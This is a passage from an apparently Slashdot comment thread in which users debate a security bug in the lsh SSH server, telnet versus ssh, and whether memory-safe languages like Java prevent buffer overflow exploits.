      Good software !== no bugs ever.

      Just like good posts don't require logical operators that actually exist.

      --
      I stole this Sig
    6. Re:Telnet by ajs · · Score: 4, Insightful

      These bugs are not killing us. In fact, they're helping us to make our code stronger.

      I'm so sick of the "there are bugs in it, let's switch" mentallity. There are bugs in every piece of software ever written. Why? Because human beings have a hard time specifying exactly what they want.

      Sometimes those bugs are dangerous (as in buffer overflows), but if you look at your average piece of source code long enough -- source of ANY number of lines -- I bet you can find a bug in it.

      So, we should all switch to the abacus? No, we should all make sure we spend time and money on the problem of finding bugs before the black-hats do. And that's why I buy software like Red Hat... because they actually spend some of that money on auditing for security, and I like the results (many bugs found and killed).

    7. Re:Telnet by SharpFang · · Score: 1

      Tell you what? I feel the same way. Just because my LAN is firewalled and I'm its only user, and I don't telnet outside the firewall. Simply there's nobody to snoop on my lines. No data that's not obtainable can be decrypted. You can't exploit service that is switched off or cut off from the rest of the world. As long as my firewall isn't compromised, telnet is just as secure as ssh.

      Of course if I connect to some hosts in a galaxy far, far away, that's a completely different story. (i.e. use the exploit to connect to them ;)

      --
      45 5F E1 04 22 CA 29 C4 93 3F 95 05 2B 79 2A B2
    8. Re:Telnet by Anonymous Coward · · Score: 0

      Yeah, one admin. He's also the same guy who left a exploitable hole on the GNU FTP server for 3 months.

    9. Re:Telnet by Anonymous Coward · · Score: 0

      Your post sounds exactly like it was written by Bill Gates. (except for the RedHat part)

    10. Re:Telnet by daeley · · Score: 3, Informative

      Just like good posts don't require logical operators that actually exist.

      And anal rejoinders don't require snooty pseudo-knowledge that's actually wrong.

      --
      I watched C-beams glitter in the dark near the Tannhauser gate.
    11. Re:Telnet by quantaman · · Score: 3, Funny

      Grrr, stupid PHP!

      --
      I stole this Sig
    12. Re:Telnet by gad_zuki! · · Score: 1

      >The "more eyes" mantra doesn't cut it.

      You are exactly correct. In fact I would be wary about a working exploit posted within hours and a patch a little after. That leaves x amount of time for someone with a compiler and ten minutes to try to compromise me. But, these things happen. Its software, its supposed to happen.

      If you're running remote admin apps without another layer of protection for redudancy like a VPN tunnel to your firewall, IP range blocking, etc you aren't properly defending yourself.

      Be paranoid. Make an ssh tunnel to your behind the firewall telnet connection, each requiring a different login. Run the daemons with a user accout. Allow only one simulatanious login. Enable logging. Pay attention. Eat healthy. etc.

    13. Re:Telnet by zCyl · · Score: 0, Troll

      Good software !== no bugs ever.

      Why the hell not? Good bridges are the ones that don't fall down.

      I know perfectly well that it's difficult to write bug free, or at least security problem free, code of any meaningful size, but it's about time we start to change our software development focus. Reasonable development techniques exist which are more difficult to do, but which result in code with a high degree of verifiably secure code.

      You can't just trust that "the code is out there, so someone will read it." Every piece of security-conscious code written needs to be peer-reviewed, at least twice, by equally competent programmers to the one who wrote it. The peer reviewers need to nitpick at every bad design and programming technique decision. Every piece of security-conscious code should be software-fault injected after every release build, and all anomalous subcompenent behavior handled in an appropriate manner (and then peer reviewed again).

      I'm sure there are quite a few other equally solid techniques that aren't being implemented across the board for security critical code. There's no fundamental limit to human ability which says we can't write secure code, we just need better procedures to prevent, catch, and block human errors.

    14. Re:Telnet by nacturation · · Score: 1

      How about the Open Source community just hire Dan Bernstein to code up all the software. Sure, it might not be quite as free as RMS would like, but if every product had the same number of security flaws that have been discovered in qmail (for those sleeping at the back of the class: zero), I could certainly live with the trade-offs.

      --
      Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
    15. Re:Telnet by TomV · · Score: 5, Insightful

      Why the hell not? Good bridges are the ones that don't fall down

      That's not the same as saying that good bridges have no faults. Bridges are built with a large safety factor. A large amount of the steel wire in the Brooklyn Bridge cables is hideously substandard, slipped in there by a currupt subcontractor. But because the safety factors were in place, even though the cables are probably about 5/6 as strong as they were designed to be, because they were designed to be 4 times as strong as strictly necessary, the Brooklyn Bridge is still there today. They paid for a lot more steel than strictly necessary, but they were proved right to have done so.

      The bridge is Verifiably Strong Enough, but it certainly isn't Fault-Free. It was a product of defensive engineering, and software containing the inevitable bugs can be made much safer by taking a defensive approach to programming. It's better not to have an out-of-bounds situation at all, but that's no reason not to do bounds-checking wherever an OOB might pose a hazard. Yes it costs money to code all those extra checks, but that's what engineers do in most other disciplines.

      TomV

    16. Re:Telnet by zangdesign · · Score: 2, Insightful

      I think the idea here was that security should be considered at every step of the way, which is absolutely true. While the speed of fixing the bug is certainly commendable, it should not have been there in the first place as this is a fairly common mistake.

      I can understand it from someone new to programming, but if it's going to be something that is touted as being secure, that should be the first consideration in every line of code. Especially if it's something that allows deep access into the system.

      I realize that such an undertaking is herculean, but that is what we, as programmers, should shoot for every time.

      --
      To celebrate the occasion of my 1000th post, I will post no more forever on Slashdot. Goodbye.
    17. Re:Telnet by Anonymous Coward · · Score: 0

      Why is this moderated "troll"? He makes valid points.

    18. Re:Telnet by DA-MAN · · Score: 2, Interesting

      Good one there, secure telnet has yet to show any weekness. Good ol standard SSL wrapping telnet is an unbeatable match. But most people don't have this client lying aorund anywhere and thus use ssh because of convenience.

      Personally I agree, secure telnet is better.

      --
      Can I get an eye poke?
      Dog House Forum
    19. Re:Telnet by __past__ · · Score: 1
      number of security flaws that have been discovered in qmail (for those sleeping at the back of the class: zero)
      Number of security flaws acknowledged by DJB, you mean? It might hurt your religious feelings, but even the holy qmail is not perfect.
    20. Re:Telnet by Anonymous Coward · · Score: 0

      I had a friend who felt this way.

      He finally saw my viewpoint when his box got owned 'cause a trojan on his laptop sniffed his root password.

      In other words, are you REALLY sure your LAN isn't compromised? Every?

      Some of us are paranoid... and sometimes, it pays off.

    21. Re:Telnet by Spy+Hunter · · Score: 3, Interesting
      Time and time again, it has been proven that software written in C will be insecure. If you don't take extraordinary precautions which are far too inconvenient for most programmers to accept, you *will* have security holes in a network service written in C. And if you do take those precautions, they will interfere with the goal of providing a feature-rich, modern, up-to-date piece of software. Why oh why hasn't there been a move toward writing network services in languages which make most common kinds of security holes impossible? A SSH server written in Java will have zero buffer overflows. Nada. Zilch. It won't have any double-free bugs, or stack-smashing attacks of any kind. That way, developers can focus on fixing the logic bugs and implementing new features.

      It's very easy to understand. If you write your server in a language that prevents several common sources of root exploits, then the number of root exploits present in your code will be dramatically reduced. I would definitely be willing to put up with a server that was twice as slow if it had no possibility of buffer overflows, ever.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    22. Re:Telnet by Bronster · · Score: 2, Insightful

      In addition, a fix was checked in within four hours. 14 hours later, exploit code was posted to SecurityFocus, in the afternoon. Any admin who checked the lsh mailing list in the morning would have seen the error and the fix, and been well ahead of the exploit.

      #include <standard f&*(ing merkin who thinks the world is all merkia>

    23. Re:Telnet by Richard_Davies · · Score: 1

      > Sometimes those bugs are dangerous (as in buffer
      > overflows), but if you look at your average piece
      > of source code long enough -- source of ANY number
      > of lines -- I bet you can find a bug in it.

      Oh yeah?! Go on then:

      printf("hello world\n");

    24. Re:Telnet by Nickus · · Score: 1

      Is there a compiler that actually would compile that?

    25. Re:Telnet by jareds · · Score: 1

      Number of security flaws acknowledged by DJB, you mean? It might hurt your religious feelings, but even the holy qmail is not perfect.

      Although that page does list various bugs and idiosyncratic, intentional RFC violations by DJB, it is still quite noteworthy that the only security issues involve resource exhaustion and delayed bounces, and the resource exhaustion attack can be fixed with ulimit. One could have left qmail running on a box 4 years ago, and it would not be compromised today, and if someone could reboot it if DOS'd, it would still be working properly. The same can be said for very few other network services.

    26. Re:Telnet by the+uNF+cola · · Score: 1, Troll

      Too bad php sux0rs and prolly should be replaced by ruby or anything else.

      --

      --
      "I'm not bright. Big words confuse me. But Wanda loves me and that should be enough for you." - Cosmo

    27. Re:Telnet by cbcbcb · · Score: 1

      At least 2 bugs in your hello world:
      a) you don't check the return code of printf
      b) it's not internationalized

    28. Re:Telnet by stesch · · Score: 1
      The "more eyes" mantra doesn't cut it.

      Some eyes have seen the OpenSSH source. They're all blind now.

      OK, counting gotos isn't a good method to test software quality. But have to seen how the 313 gotos in the last release of OpenSSH are used? Take a look at servconf.c and start crying.

      Not to mention the use of many integer literals.

    29. Re:Telnet by Idolatre · · Score: 1

      The must obvious problem is that programmers are still using low level languages (C) to do high level stuff. Why would you need low level access to the hardware in a program that takes a shell's input/output streams, encrypts it and transmits it over a network? Languages like Java would do that job as well, with similar performance (excluding startup time, which is negligible for daemon applications). Bugs like buffer overflows or memory allocation/deallocation errors can't be exploited in Java applications the same way as in C applications (unless the JVM itself which is written in a lower level, less safe language, has such a bug).

      As long as unsafe languages will be used where they are not needed, bugs like these will continue to be discovered frequently.

    30. Re:Telnet by unshaven23 · · Score: 0

      On the other hand, what was that Java interpreter (oh excuse me, "environment") written in? Think that that thing is bugfree? What about speed?

      Imagine a world where everyone runs everything java... Now imagine today. Wow, that pentium 4 seems awfully fast now if I compare it to your utopia.

    31. Re:Telnet by AxelTorvalds · · Score: 2, Interesting
      I full heartedly agree. For home use and most small things the whole find the problem, patch it quick and upgrade system works really well. The code is getting much better but if you're deploying a producting system in an important business environment it's not always so easy. For real production stuff you've probably been safer with telnet instead of ssh over the last few years because the weaknesses of most telnet deamons require sniffing which is a solvable problem in other ways and it's much harder for your script kiddies to just sniff an arbitrary connection. Worse, the OpenSSH stuff that has happened has shown how we need a more layered approach, OpenSSH has failed and people got root access, not shell access but they got remote root, it was a catastrophic failure.

      I see this largely as a problem of the integration. If there is an OpenSSL issue, it affects which programs? Apache, OpenSSH, tcpdump (yep, it can use OpenSSL to the decodes) and dozens of others including databases that use SSL for secure connections. Depending on which vintage of the software you are on it potentially means you'll end up updating all of that stuff. RPM and deb fixes a lot of this stuff but I bring it up becuase I've seen the problems happen in the real world. A stupid SSL vuln caused us to update a database which is used for production data, it becomes a risk problem at that point, what's a lower risk the possiblity that someone may use the SSL attack or the possiblity that upgrading the database will be more complex than installing an RPM and require hours and hours of downtime? Once you're making those kinds of tradeoffs you've already lost.

      Some opensource secure coding standards and guidelines would be nice and I think they could help cut down on these kinds of problems, they won't fix them but they can help. C and C++ aren't the problems, there are plenty of embedded programs that don't have those problems and they use different coding strategies and practices. You have to have a complete knowledge of the system to do secure coding. Java based daemons is kind of a solution but it ties us to a vendor and it's really heavy handed and takes a lot of memory to perform, worse it's not a small undertaking and Tomcat and JBoss have had some terrible security problems also. We end up trading one class of problems for a different set.

      I just scanned the OpenBSD site and did a quick google, no OpenBSD secure coding standards and guidelines document exists... We need something like that, we already have groups doing audits and some very very good people doing them like Solar Designer and Theo de Raadt. What are they doing and looking for? Why isn't there a document for OpenBSD that explains why it's supposed to be more secure? If we came up with some good standards and practices for the whole community to emulate we'd be much better off.

    32. Re:Telnet by Josh+Booth · · Score: 1

      Or you could use SIMPLE: the Sheer Idiot's Monopurpose Programming Language Environment.

      $ fortune -m SIMPLE

      And I quote "...[SIMPLE] was designed to make it impossible to write code with errors in it. The statements are, therefore, confined to BEGIN, END, and STOP. No matter how you arrange the statements, you can't make a syntax error."

      I think we have a solution to all our bug problems!

    33. Re:Telnet by Cyrus+Dogstar · · Score: 1
      That's a good point; however, my understanding is that one of the primary reasons people write in C (other than personal preference and/or just because everything ELSE in UNIX is written in C) is because of the control and the potential for speed. C's low-level aspects and lack of 'safety' features do certainly lead to buffer overflows and their ilk; but they also mean that a piece of network software written in C can run *much faster* than can apps written in just about any other language.

      Especially compared to Java; while I understand that Java is not *necessarily* always as slow as many people like to bash it for being, it's still dog-slow compared to C. I'm not sure how well it would hold up providing a heavy-load service on a busy server...

      --
      Always ask 'why?'
    34. Re:Telnet by antiMStroll · · Score: 1
      These bugs are killing us.

      They are? Point out where. Show us the bilions in damage caused by this lsh exploit. Where is the I Love You -level havoc caused by a single OSS exploit? Truly the worst kind of MS troll moderated up by the MS kiddies who love to hate OSS.

    35. Re:Telnet by groomed · · Score: 4, Informative

      Sigh. The language card again. OK.

      Java. Won't have any double-free bugs or stack-smashing attacks. But offers great potential for deadlock bugs due to the braindead IO model. And explodes in out of memory situations -- not unlikely given the tens or hundreds of MBs the Java runtime consumes. Further exacerbated by the ease with which memory is leaked. Then there are the subtle but devastating differences between the various Java runtimes. As well as the fact that the same isolationist principles that make Java immune to buffer overflows also make it very hard to interact meaningfully with the file system (ever tried setting creation dates on a file? ownership?).

      Yeah. Java.

    36. Re:Telnet by mcrbids · · Score: 1

      Good software !== no bugs ever.

      Just like good posts don't require logical operators that actually exist.


      Ahh, but this logical operator DOES exist... perfectly valid under PHP, where it means that it's not the same value and type.

      EG:
      $a=1;
      $b='1';

      if ($a!==$b)
      echo 'fubar';

      The program would output fubar since the numeric 1 is not the same type as the string '1'.

      A common mistake of inexperience is to conclude that if you don't know it, it doesn't exist or is untrue.

      -Ben

      --
      I have no problem with your religion until you decide it's reason to deprive others of the truth.
    37. Re:Telnet by Anonymous Coward · · Score: 0
      Yes it costs money to code all those extra checks, but that's what engineers do in most other disciplines.
      At risk of earning the flamebait mod, I'll go so far as to say that *that* is what real engineers do, regardless of discipline. (So then, is a software coder who calls himself an engineer and doesn't consider the extra safety factors in his code truly an "engineer"?)
    38. Re:Telnet by groomed · · Score: 1

      make it very hard to interact meaningfully with the file system

      Crap. That should be, "make it very hard to interact meaningfully with the system period".

    39. Re:Telnet by slide-rule · · Score: 1

      I'm almost in your cheering section here. Granted, I don't really write network service code for any sort of a living, but I have toyed with a private utility for my home network and coded it in Java. It was fairly low-feature, and mostly borrowed from various online postings from guru's and whatnot... and after running the service daemon on Linux box "A", it would reliably proceed to completely hang the box (*completely*) requiring nothing less than a power-switch reboot. I felt a little betrayed. Granted, the problem probably isn't/wasn't in the language specification, but on some implemetation of the linux runtime environment, but what do I care about that? I lost part of a filesystem one time when it locked up at a particularly bad time. (Like there's a good time, I guess. ;) End-user perspective: it simply didn't work. Sun seemed uninterested in the problem as it took a few days to have a chance for this to happen. Arguably, some work needs to happen on the JRE to increase reliability. Wanna guess what language *that* is in? Ironic, in its way.

    40. Re:Telnet by Anonymous Coward · · Score: 0
      Java [...] explodes in out of memory situations. [...] Then there are the subtle but devastating differences between the various Java runtimes. As well as the fact that the same isolationist principles that make Java immune to buffer overflows also make it very hard to interact meaningfully with the [...] system (ever tried setting creation dates on a file? ownership?).


      These problems don't occur, when using GCJ. This is a part of the GNU Compiler Collection, that compiles Java code directly in machin code. With GCJ it's possible to mix Java and C/C++-Code nearly seamlessly. So the security relevant things can be written in Java, the rest can be written in pure C/C++-Code.

      For the compiler backend there is no difference if you give it Java or C++-Code, it produces pure machine code. The only difference is, that if you feed it with Java sources, you are not able to program in an insecure way. E.g. it will automatically add to every buffer access the neccessary boundary checks. When fed with C-Sources, there are not enough meta informations to add these kinds of checks.
    41. Re:Telnet by Nucleon500 · · Score: 1
      In this case, the "many eyes" mantra did cut it. Obviously, it's a bad thing that the bug existed in the first place. But one of those many eyes found the bug, and it was quickly fixed, and everyone was notified.

      Consider what would happen if the same bug existed in closed source software. First, it's less likely that the bug would have been found, so the software would remain insecure longer. If someone at the company found the bug, there's no assurance that they'd fix it immediately; it's possible they'd wait until the next service pack, to hide the fact that it ever existed. If a cracker exploited the bug, they'd probably fix it more quickly and be more honest about it's existance, but the damage would have already been done.

      This is one instance where the OSS model worked better. Now, if only it could squelch those bugs in the first place.

    42. Re:Telnet by Elladan · · Score: 1
      E.g. it will automatically add to every buffer access the neccessary boundary checks. When fed with C-Sources, there are not enough meta informations to add these kinds of checks.

      Yes there are.

      There's nothing in the C language spec that requires your compiler to permit buffer overflows or heap attacks, and indeed it's possible to disallow them at runtime.

      Nobody does it, of course, because it adds a lot of overhead and, in the case of GC, less control. Well, that and, since nobody does it, the tools to do it aren't very mature.

    43. Re:Telnet by Anonymous Coward · · Score: 0

      Perhaps, but PHP seriously eats the cock.

      Pass the cock please.

    44. Re:Telnet by Anonymous Coward · · Score: 0

      A common mistake of inexperience is to conclude that if you don't know it, it doesn't exist or is untrue. ...and our lucky finalist for "snobbed up elitist self-important wanker", ladies and gentlemen!

    45. Re:Telnet by Anonymous Coward · · Score: 0

      It's not enough that it's written in Java -- it must be compiled with flags asking for bounds checking, or run in a virtual machine.

    46. Re:Telnet by bratmobile · · Score: 1

      Soooooooo... it "makes us stronger!" when it happens to GNU/Linux/whatever code, but when it happens to Windows/Microsoft code, they're stabbing us in the eye...?

      What bullshit.

    47. Re:Telnet by zCyl · · Score: 2, Insightful

      It was a product of defensive engineering, and software containing the inevitable bugs can be made much safer by taking a defensive approach to programming. It's better not to have an out-of-bounds situation at all, but that's no reason not to do bounds-checking wherever an OOB might pose a hazard. Yes it costs money to code all those extra checks, but that's what engineers do in most other disciplines.

      Exactly. And the only reason this is different with bridges is because people don't ACCEPT bridges falling, we consider it a tragedy, so we're willing to accept the amount of resource investment it takes to make the bridge stable with redundant defensive systems. And it's precisely this reason that we need to get rid of the attitude that having security holes in software is acceptable and unavoidable. (Thus, the above post not being a troll post.)

      Materials have defects, so engineers got used to compensating for this with redundant systems, and the end result is a structure which is typically stable and fault tolerant. Programmers look at code as exact, so they think they should fix the problem by getting rid of the defects, but this makes the arrogant assumption that we're smart enough to spot every defect just by looking. This needs to be changed to the assumption that the best programmers will make mistakes and introduce defects, and therefore these defects should be compensated for defensively.

    48. Re:Telnet by j3110 · · Score: 1

      I didn't want to do it yet, but I think I'm going to start running j2ssh. I don't know how stable it is at this point, does anyone know? I'll run it on different port and test it for a while I guess.

      You can get the LGPL SSH2 server/client written in Java from http://3sp.com/products/sshtools/sshtools.php

      --
      Karma Clown
    49. Re:Telnet by Anonymous Coward · · Score: 0

      Um, how do you think this problem was spotted?

      That's not the point. How long was the hole there before it was fixed ? How could the software have been designed differently to avoid such errors ? Are there any automated checks that could be made to prevent such errors in the future ?

      Are those questions seriously being asked, or is finding holes after they've been available to hax0rs for months (not necessarily in the case of this bug, but in several other cases) good enough ?

      If the only defense you have is the million-eyes effect, perhaps you should think about adding a few more.

    50. Re:Telnet by Anonymous Coward · · Score: 0

      Finding the bugs might make the code stronger. Having them doesn't. If you could make a bug free piece of code, the lack of bugs to fix certainly wouldn't make you or your code weaker.

    51. Re:Telnet by Anonymous Coward · · Score: 0

      a) Sure, but what's the worst that could happen if that failed?
      b) That's a feature.

    52. Re:Telnet by Anonymous Coward · · Score: 0

      This comment is pointless since the java vm is done in C. No languague is secure by default, for those who think java is a security wall protecting your machine with miracles, read the this pdf: http://www.lsd-pl.net/documents/javasecurity-1.0.0 .pdf

    53. Re:Telnet by eht · · Score: 1

      So the solution is to read every mailing list in existence to get a jump on the script kiddies?

      Who knows, the Ladies Home Journal mailing list might have a bugfix for your ovens remote root exploit.

      And this is a weekend, so that does a lot of good for people who actually take the weekend off.

    54. Re:Telnet by Anonymous Coward · · Score: 0

      Improper capitalization. ;-)

    55. Re:Telnet by Istealmymusic · · Score: 1

      No. It always makes us stronger, whether "us" is OSS or Microsoft.

      --
      "The lesson to be learned is not to take the comments on slashdot too literally." --Vinnie Falco, BearShare
    56. Re:Telnet by Anonymous Coward · · Score: 0


      Perhaps, but PHP seriously eats the cock.

      Pass the cock please.

      Mmmmm, cock...

    57. Re:Telnet by Pretzalzz · · Score: 1
      They also inspect bridges once a year to see if there are any problems. Recently, a bridge near me was closed for a couple of months because this inspection turned up a large crack that needed emergency maintaince. I don't see how this is much different than having to patch software for bugs.

      Another bridge near me did fall down a couple of years ago due to flooding.

    58. Re:Telnet by a1291762 · · Score: 1
      A SSH server written in Java will have zero buffer overflows.

      /me thinks you misunderstand how Java works... You can indeed have a buffer overflow in Java, the only difference is that it causes the VM to crash (unless there's a RuntimeException catch somewhere up the calling chain). A DoS attack on a buggy Java server could be just as bad as a buggy C server.

      I've seen firsthand what happens when a random RuntimeException isn't caught. I was involved in a telecommunications software that was programmed in Java. Due to the architecture of the program, an uncaught exception resulted in the program entering a zombie state. There were threads running so the app didn't die. The "watchdog" thread was still running so the app didn't get restarted. However, the processing thread was killed so the app did nothing. The system took around 12 hours before it managed to fall over and restart itself. Due to telco uptime standards, the app is only allowed to be down for an hour a year (or something like that... 99.999% uptime). That single flaw would have completely ruined our uptime claim if it had got into the field.

      It's not a case of needing language x over language y, it's a case of using "safe" structures/functions. C++/Java/C# programmers will tend to use List/Collection classes rather than manually sizing and handling arrays. There's no reason why you couldn't use something like Glib to get the same behaviour in a C server.

    59. Re:Telnet by Spy+Hunter · · Score: 1

      All of the security holes in that paper are holes in the sandbox that Sun has constructed for running *untrusted* code such as applets. They have absolutely no relevance to trusted code, such as a server you are running on your machine. Yes, the JVM is written in C, but how many buffer overflows do you see in Sun's JVM? I've never even heard of one. Safely executing a well-defined series of bytecodes prepared in advance by a compiler whose job is to output correct instruction sequences is an easier problem than safely accepting arbitrary malicious input from a network connection.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    60. Re:Telnet by Spy+Hunter · · Score: 1
      A SSH server written in Java will have zero buffer overflows.

      By which I mean, of course, "A SSH server written in Java will have zero buffer overflows that allow you to execute arbitrary code." I'm well aware that Java doesn't prevent DoS attacks. In fact, a Java server would probably be more prone to DoS attacks for several reasons. I consider this a reasonable price to pay for making it impossible to compromise the machine with arbitrary code, which can be much worse than a DoS.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    61. Re:Telnet by Spy+Hunter · · Score: 1
      I consider bugs that can only cause a DoS much less bad than bugs which can cause the machine to be compromised. If you DoS a machine, you can't then use it to DoS others, but if you compromise a machine, you *can* use it to compromise others. You can't write a worm using only DoS attacks, you must be able to execute code on the target machines.

      As well as the fact that the same isolationist principles that make Java immune to buffer overflows also make it very hard to interact meaningfully with the file system (ever tried setting creation dates on a file? ownership?).

      What on earth do these two things have to do with Java's buffer overflow protection? If these things are hard to do in Java, that's because the APIs are badly designed, not because the language itself is secure. These are two totally different issues. It may be the case that Java's APIs are badly designed, but libraries can be replaced.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    62. Re:Telnet by groomed · · Score: 2, Insightful

      I consider bugs that can only cause a DoS much less bad than bugs which can cause the machine to be compromised.

      Then the question becomes: how helpful is defense against stack smashing in preventing exploits, given that most exploits come about through social engineering or bugs at the application level (see VB macros, JavaScript holes)? Because the defense comes at a cost. You can argue that the cost is immaterial, that no cost is too high to prevent even the most innocent and trivial exploit.

      That's a reasonable, principled argument, but not one I agree with. I take an economists view. If the estimated cost of an exploit is $25,000, but the cost of a thousand employees running slow, cumbersome software is $50 per employee per year, then the choice is clear. Especially since there is no guarantee that the slow, cumbersome software won't be subject to an exploit!

      I'll even admit, shamefully, that I've personally written Java software where, due to a deadlock, a thread that should have been killed for security reasons was never notified of such and kept running. I don't blame Java for that. Maybe I'm just a bad programmer. But that's the whole point: the language's ability to provide application level security is limited. Conversely, also the degree to which a language can be held responsible for security breaches is limited.

      What on earth do these two things have to do with Java's buffer overflow protection? If these things are hard to do in Java, that's because the APIs are badly designed, not because the language itself is secure.

      Many of the Java security guarantees are derived by isolating programs from the underlying system. That is not a bad approach per se (it's pretty much the definition of an operating system kernel for example). But it does have its limitations. One of them being that you almost always end up with a lowest-common denominator design, through which the systems inherent capabilities cannot fully be excercised.

    63. Re:Telnet by ajs · · Score: 1

      You're not listening. You act as if this sort of thing is new.

      Keep in mind that when you say "this is a fairly common mistake", you're speaking more truth than you may realize. This isn't just *common*, it's downright guaranteed. Have a system that works at such a high level that buffer overflows aren't possible? Guess what, your system was written in a language where they ARE. Buffer overflows have been found in Java Virtual Machines, security modules for every major OS, etc, etc.

      Why is OpenSSH more useful than the rest of the pack of remote access software now? Because one of those problems has been fixed. Will there be another tomorrow? You bet your sweet ass! That's why you layer your security technologies, but you don't throw out the baby with the bath-water and use something that "has no bugs"... because I'll guarantee that that's because no one has looked closely enough.

    64. Re:Telnet by brettper · · Score: 1

      And don't forget the sunscreen

    65. Re:Telnet by Anonymous Coward · · Score: 0

      god forbid someone refer to events in their own timezone.

      oh, I forgot. "merkins" are all no good. just like the jews and blacks.

      idiot.

    66. Re:Telnet by Spy+Hunter · · Score: 1
      given that most exploits come about through social engineering or bugs at the application level (see VB macros, JavaScript holes)

      What are you talking about? VB and Javascript are client-side scripting languages with sandboxes. I'm talking about implementing network services here. Not scripting language sandboxes. Many of the recent Microsoft worms have been made possible by exploits in network services that would not work if Windows was written in Java, and the past few Linux vulnerabilities reported on Slashdot (OpenSSL, sendmail, OpenSSH, this lsh hole) have been the same way.

      I realize that Java isn't a magic bullet to eliminate logic bugs from your application or prevent social engineering attacks, but usually buffer overflows and the like in network services are what enable the really damaging, large-scale, automated attacks. If network services were written in Java, a large percentage of today's attacks simply would not work. The benefit would not be negligable as you suggest.

      You can argue that [...] no cost is too high to prevent even the most innocent and trivial exploit.

      The kinds of exploits that Java prevents are not innocent and trivial, they are the worst possible kinds of exploits; i.e., those that lead directly to code execution. I would argue that the small cost of writing things in Java is more than outweighed by eliminating the most severe, hard-to-find errors that cause the worst security holes.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    67. Re:Telnet by Bronster · · Score: 1

      Hmm, so I guess I am an idiot to follow up to someone who suggested that any sysadmin who "read the security lists in the morning" (with the implication that anyone who didn't do that was an incompentant moron) and suggest that an assumption of timezone is unreasonable.

      *sigh* - I'd plonk you, but you're too much of a coward to back up your comments. Yes, people who assume the world is one timezone when it comes to patching are lusers, as are many ACs.

    68. Re:Telnet by R.Caley · · Score: 1
      [Good software !== no bugs ever.]

      Why the hell not? Good bridges are the ones that don't fall down.

      But that is not the same as the set of bridges with no bugs.

      Indeed, I was watching a TV programme about the building of one of the early big New York bridges the other day. Turns out the cables are full of brittle crappy wire substituted by a corrupt contractor. Quite a big bug. The bridge hasn't fallen down because it was designed well, and is still in use.

      Engineerign is not about perfection, it is about designing for the real world where shit happens.

      --
      _O_
      .|<
      The named which can be named is not the true named
    69. Re:Telnet by groomed · · Score: 1

      What are you talking about? VB and Javascript are client-side scripting languages with sandboxes.

      My point is that both VB and JS don't allow stack smashing. Still they're at the root of numerous security breaches. The reason of course being that they're embedded in some sort of process: an application or a workflow. It's the flaws in the process that are much more insidious than any flaws in the language.

      buffer overflows and the like in network services are what enable the really damaging, large-scale, automated attacks.

      How do you know that? By what measure?

      I would argue that the small cost of writing things in Java is more than outweighed by eliminating the most severe, hard-to-find errors that cause the worst security holes.

      I think you're confusing a couple of things. If the box is your whole world, then yes, the ability to execute arbitrary code is probably the worst thing that can happen. But the box is not an end in itself. It is part of a process. From that perspective it's just a transient blip, one which normal process security should account for anyway, through checks and balances, insurance, backups, hardcopy, double books, periodic reviews, etcetera. The scary part isn't when the box gets hacked. It's when the process gets hacked.

      Now I have to be careful. Stack smashing is a big problem. It is not a small or insignificant problem. But there is no solution. Just workarounds and compromises.

    70. Re:Telnet by anthonyrcalgary · · Score: 1

      "Many of the Java security guarantees are derived by isolating programs from the underlying system. That is not a bad approach per se (it's pretty much the definition of an operating system kernel for example). But it does have its limitations. One of them being that you almost always end up with a lowest-common denominator design, through which the systems inherent capabilities cannot fully be excercised."

      I think the way you can't write past the bounds of buffers is the primary thing he's talking about.

      No reason you couldn't write a library for C to make it do basically the same thing. It would take the form of function calls/macros instead of changing the syntax, but that's okay.

      --
      When someone might yell at me, it has to be OpenBSD.
    71. Re:Telnet by Spy+Hunter · · Score: 1
      My point is that both VB and JS don't allow stack smashing. Still they're at the root of numerous security breaches.

      That's because you download untrusted code and run it in a sandbox! There may be holes in the Java applet sandbox, just like there are holes in the Javascript sandbox. A sandbox is a large, complex thing that is hard to do correctly. But a sandbox for applets is totally irrelevant for trusted application code, which is what a network server is. A hole in the Java applet sandbox has no effect on Java's security as a language for writing servers.

      How do you know that? By what measure?

      Code Red? Blaster? They were (and still are) huge. If you look at those papers on honeypots that get posted to Slashdot every now and then, you'll see that almost all the exploits used by script kiddies to compromise the honeypot boxes are due to some sort of typical C bug that would be impossible in Java. I don't have any hard numbers here, but certainly you agree that a very significant portion of all attacks today are based on these kinds of bugs.

      Stack smashing is a big problem. [...] But there is no solution.

      What? Are you sure you're thinking straight? Do you not agree that there are no stack smashing exploits for the JVM? Obviously, stack smashing has a solution, and it is Java. You may not like it for other reasons, but it does prevent stack smashing.

      The scary part isn't when the box gets hacked. It's when the process gets hacked.

      Having complete control of a box allows you to hack further into the system and disrupt "the process". "The process" should include making it as hard as possible to hack the box in the first place. Java makes it a lot harder.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    72. Re:Telnet by tflat · · Score: 1

      This problem went unnoticed for almost four years, http://lists.lysator.liu.se/pipermail/lsh-bugs/200 3q3/000120.html.
      How can you guarantee that no one else had found it first? Not everyone reports bugs, especially ones of this magnitude nor does everyone wear a whitehat.

    73. Re:Telnet by groomed · · Score: 1

      I don't have any hard numbers here, but certainly you agree that a very significant portion of all attacks today are based on these kinds of bugs.

      But what's the actual damage? The script kids don't seem to actually do anything with the compromised machines except for whatever it is that the rootkit allows them to do. Then they swagger on IRC. Don't you agree considering the sheer volume of incidences that the actual impact is remarkably small?

      "The process" should include making it as hard as possible to hack the box in the first place.

      But we've probably become too antagonized. You can have the final word if you wish.

    74. Re:Telnet by Bob+Uhl · · Score: 1
      Ummm--things worked perfectly: the bug was found, and fixed. Or do you think that somehow free software will magically be written without bugs?

      Creating bugs is easy; finding and fixing them is hard. That's why it's taken so long for the OpenSSH one to be found. As for lsh--it's an also-ran.

    75. Re:Telnet by Bob+Uhl · · Score: 1
      A SSH server written in Java will have zero buffer overflows.

